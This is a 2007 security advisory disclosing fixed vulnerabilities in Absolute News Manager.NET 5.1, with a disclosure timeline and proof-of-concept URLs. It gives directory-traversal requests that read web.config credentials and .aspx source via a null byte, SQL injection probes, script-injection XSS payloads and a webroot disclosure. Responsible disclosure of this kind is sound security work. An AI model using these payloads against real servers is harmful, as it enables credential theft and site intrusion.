Vulnerabilities found: 16 November 2007

Vendor informed: 19 November 2007

Vulnerability fixed: 28 November 2007

Severity: High

Description:

Multiple vulnerabilities were found on Absolute News Manager.NET 5.1:

- unauthenticated file retrieval (directory traversal) on '/pages/default.aspx'

- unauthenticated SQL injection on 'xlaabsolutenm.aspx' and possibly '/pages/default.aspx'

- XSS on 'xlaabsolutenm.aspx' and '/pages/default.aspx'

- webroot disclosure on 'getpath.aspx'

File retrieval PoC:

The following URL shows the contents of .NET 'web.config' (contains DB credentials):

http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=1&template=.
./web.config

The following URL show contents of the vulnerable script:

http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=1&template=d
efault.aspx%00

Note: in order to obtain the content of '.aspx' files, a null byte '%00' must be added after the filename.

SQL injection PoCs:

Vulnerable script: /[CustomerDefinedDir]/xlaabsolutenm.aspx

Vulnerable parameters: z, pz, ord, sort

Requesting the following URL returns the version of Windows and SQL server:

The script '/pages/default.aspx' might also be vulnerable to SQL injection but it has not been confirmed.

Requesting the following URLs:

http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=40&z=9999999
999999

http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=999999999999
9&z=1

return the following error:

System.Data.SqlClient.SqlException: Error converting data type nvarchar to int.

XSS PoCs:

Vulnerable script: '/xlaabsolutenm.aspx'

Unsanitized parameter: 'rmore'

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=1,7&sort=art
icleID&ord=desc&rmore=%3Cscript%3Ealert(1)%3C/script%3E&size=2&h=abc&isf
rame=y

Vulnerable script: '/pages/default.aspx'

Unsanitized parameter: 'template'

http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=%3Cscript%3Ea
lert(2)%3C/script%3E

Webroot PoC:

Requesting the 'getpath.aspx' demo script discloses the physical path of the webroot - ie:

http://target.tld/[CustomerDefinedDir]/getpath.aspx

"

Absolute News Manager Physical Path :

D:\inetpub\target.tld\[CustomerDefinedDir]

Please delete this file from your installation.

"

Consequences:

Contents of any files on the web server can be obtained. Unauthorized SQL queries can be injected. Scripting code can be run within the security context of the target domain. Information about the target environment can be extracted.
